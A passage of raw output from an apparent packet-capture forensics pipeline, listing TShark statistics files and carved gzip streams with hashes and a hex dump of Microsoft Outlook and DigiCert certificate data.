Qowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnr\n##\nT 194.36.32.209:80 -> 10.152.152.11:64008 [AP] #130\nMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpkanycykx/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpkanycykx/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpkanycykx/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpkanycykx/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpkanycykx/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpkanycykx/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpkanycykx/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpkanycykx/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpkanycykx/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n1781446607.518371,Forensics,File Carved: gzip,\"Path: /tmp/tmpkanycykx/carved_files/carved_10.152.152.11:63966-40.104.62.178:443_bwd_0.gzip, Stream: 10.152.152.11:63966-40.104.62.178:443_bwd\"\n1781446610.277025,Forensics,File Carved: gzip,\"Path: /tmp/tmpkanycykx/carved_files/carved_10.152.152.11:63993-40.98.16.61:443_bwd_1.gzip, Stream: 10.152.152.11:63993-40.98.16.61:443_bwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-06-14T20:03:57.839201,10.152.152.11:63993->40.98.16.61:443,10.152.152.11,63993,40.98.16.61,443,HTTP,carved_10.152.152.11:63993-40.98.16.61:443_bwd_1.gzip,gzip,/tmp/tmpkanycykx/carved_files/carved_10.152.152.11:63993-40.98.16.61:443_bwd_1.gzip,6646,cd1789d61cbce58d17f135280ac1dfb9,90612584ab6d2f579a7201d3bd7ecec4cef221c2f30ee2f2d1818334ea0d2fb0,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260610071844Z0s0q0I0, 20260610070300Z, 20260617060300Z0, 9I-., /hU7, Hx-V, JiZ8, c__1j, U4Hz2, N-CP8, Iv'P, AZEz, VxA , 6rmzN, XilPO, 6Zju, mFVtC0XW., kflqXt, uZh_, sv5w, q5M1, Gui40, ,$/vd, i[$w, pEM_, vWTK, NMna, ,yg/\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 31 30 30 37 31 38 34 34 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 31 30 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 31 37 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 b6 fe d6 03 e6 9f e2 82 e5 01 91 ad 3f 69 a9 11 91 bc 0c d4 e6 58 6e f3 a1 b8 43 65 b1 32 ed ca 1d bb 16 ec b6 9b 3e c0 29 9d 53 96 44 49 0c 71 4f 5e af ed c7 28 2b eb 82 82 aa f2 fd f7 2f 68 60 dc 70 97 a7 b7 dc 2d 4f 28 a6 4d eb 0d 59 23 57 13 29 9f 0a 61 fc 42 e9 72 95 12 3d dc cc ce f6 4f 89 f7 1e 3e 8c 15 b4 6f 2c a8 04 6d 53 44 a6 4e 14 19 d7 09 06 77 bc 31 66 9a a7 c0 16 99 b1 fa 3c 2e 84 83 6f 58 ff 0b 23 bc 5b 6a a2 f0 d4 f3 36 27 04 f8 b8 19 c5 c4 31 b2 fa c2 42 bf 43 e2 73 9c 8e f7 39 49 2d 2e 89 a6 20 b8 0e 84 36 fb eb dd e1 83 79 bc 87 32 88 eb a0 48 10 d2 64 e2 9d cc f4 a3 3a 29 90 b3 2c c6 15 5a 64 23 f8 d0 30 9a fd 94 fc 85 6c c0 c7 a8 2f 68 55 37 f5 ab 0e 5c 4b db 84 f4 0a 12 17 0e 89 83 c5 9a 69 0e 48 a9 d0 dd 30 df 91 2e 3f 41 bf db 82 7c 0c 00 01 69 03 00 18 61 04 28 ce 9a 0d 9c 09 97 25 7e ad 23 75 22 5a 03 c3 ab 26 4f 15 a2 71 fc d5 8c 4a b1 2d 37 cf 5e 20 d8 e1 b1 a5 f1 24 f0 7a 57 0d 14 48 78 2d 56 04 9d f8 2d e4 05 16 19 98 31 c4 b2 8e 0c 4f 1c 2c 93 83 7c 9f bd a9 49 7d 15 42 a3 e5 89 09 a1 53 fb 4b 55 d0 f8 18 a3 fb ee c6 f9 5f b0 40 07 93 08 04 01 00 5b da c9 1a 6f 6b d3 e0 a4 7d f3 42 99 60 f6 18 f4 7a 05 c6 71 a9 52 a4 5f 60 bc dd b6 a7 06 2d 8b d0 51 48 a1 4f ad 0c 55 1a e5 d3 bf d9 18 31 ce 49 be b4 20 39 ec 15 61 ab 3e 2e e3 7a 4e 4a f7 94 3c 15 aa 15 d3 9c 27 da bc 3c 17 f1 cb a3 ff d7 36 0c a9 d4 c0 ca fe 8a b2 0e 85 21 7a de 99 67 a1 e8 07 41 f2 b8 d1 ef b8 58 b7 d0 4b b4 ca a0 36 6f 57 1b 50 2b 67 99 35 4b c6 37 73 e2 8d a5 eb 0d a0 2a cb f6 a7 ad fd 89 36 1f 4a 69 5a 38 91 c7 c5 2a 3c d8 95 96 9e 30 63 9d 5e 63 5f 5f 31 6a b5 ab e0 71 c6 4a ec 77 87 41 24 c5 b2 92 60 5d 58 91 d5 44 0b da 6f 28 74 2b e9 80 df b2 3c 55 c1 7d 72 8a fd 5e 3d 4c 73 1b 6c d7 02 17 7e 2f be f3 7d 83 cb 31 ac 6f c6 49 90 ee 8f e4 b8 a7 18 94 79 97 39 13 b3 a1 dd 0b 28 13 b5 34 db 83 bc e0 97 96 44 6d 58 ac 8b 73 8d 74 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 94 5e 01 69 33 01 9c 4f 9b a9 c3 80 ee d9 f0 7c d2 23 df 55 34 48 7a 32 c9 26 28 67 b4 50 bf b1 62 b8 30 da 94 66 21 60 0b c2 32 e4 25 00 b0 82 ff b6 92 b0 1a fd ae fb 7a f0 4a c1 15 c6 3f bf cf 6a d4 31 a4 52 f1 57 2c 9e c0 d8 06 e7 4e ee fc 41 48 5b a9 1a d6 d4 6f 20 87 d1 9d 17 9c a3 11 e7 14 6c 19 b0 56 37 b4 9d 8d 93 76 14 c3 08 fc 19 5b e5 56 80 c1 2c ce d4 9c c2 5e 6a 59 0c 59 76 b8 2d 4b b9 6d 23 67 66 81 a7 8d 42 cd d1 8d 39 d0 e3 c1 de 08 b3 67 1c 98 e5 68 95 61 25 8e a3 36 ba ad ae 1b 6b 3c f3 ca 14 1d 7c 3b 54 35 cd fe b1 f7 98 31 a6 3c 6a f4 8e 99 e5 4e 2d 43 50 38 90 e0 97 27 8c bb 9c d5 7e e4 fd 8d 56 5d 7e 43 02 04 a4 ea 68 77 5a d6 83 4b 0b 04 de 16 ad 97 b8 c2 6d c3 49 1a 8b 1c a2 9e 5e 2a 79 14 80 82 c8 c0 88 19 c7 08 b9 28 89 63 43 13 37 1f de 8d cc e2 e0 aa 14 37 43 ab d2 d2 94 3c e1 a4 c5 db 23 a1 6e ad e1 90 c7 18 0d 3e e5 23 9a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b5 9c 2a 2a e6 84 f3 3d 61 b6 3b f7 22 5d d4 8a a7 fb 09 ba 3b fd 0a cd de a3 fc 6d 8a f2 3a 1b 17 03 03 00 40 00 00 00 00 00 00 00 01 60 2f 0a b8 42 d1 47 5e f7 5c 28 26 56 73 9c 99 ef 98 94 f1 95 9f 26 b1 06 5f a1 ef fa 4f 8b 80 af 8a 7e 45 c3 70 7b 85 ca 06 5e 1f 76 2b 8f 92 92 41 0f 3a f3 ca 5d d6 17 03 03 00 21 00 00 00 00 00 00 00 02 f7 06 bd 9a 99 8b a4 59 ec ac 92 33 b1 13 61 09 fa 09 32 68 be c7 8d 27 3e 17 03 03 02 db 00 00 00 00 00 00 00 03 f2 19 7a 49 82 9d ff 70 dc 29 91 f7 60 c7 a6 f1 03 b8 20 59 08 4d 3e 4e 96 f5 a1 02 68 67 e9 49 e8 e8 7c a0 a6 72 f8 4e ff f0 6e 97 b7 49 76 27 50 00 5f bb c4 cd 5d c9 05 c3 54 31 8d 00 ed ef 5a a0 07 fe 17 41 5a 45 7a 9e 12 94 5b 01 42 64 87 56 78 41 20 bb 0d 8e ba 8f ab 47 61 07 7b 34 87 59 0e 89 41 9b d0 73 40 46 b9 ea 5e ce 41 09 ec 28 10 c3 86 90 a0 81 fd 38 78 60 42 22 be 1e 60 de 97 69 f4 bd 14 2e 4e a0 3e 04 ae 9b 84 6b e5 02 65 ba dd 2d f6 5c a7 c4 1d af b0 cb 0f a7 77 05 3b 5a 73 13 60 5a 17 49 98 d8 a3 bc 9d 9c e4 8a aa 57 f2 b0 a0 7c c2 3b c6 cb 1d 6b 83 40 71 ad ee e6 1c 44 92 7c 12 0c 52 9b c2 54 dc c5 48 b6 35 ab 73 f2 ed c0 6a be 65 1b 14 dd 5a 8a 7f bd 9e 4c cc 2e a5 bd 7d 7d bd f2 39 0a 91 57 f8 a9 4c 86 e7 0c e8 51 79 d3 53 de e9 85 b1 2a 73 fe 0f b9 a5 fa 53 f5 b9 a9 b5 2f 1d 93 1a f6 ec 18 37 58 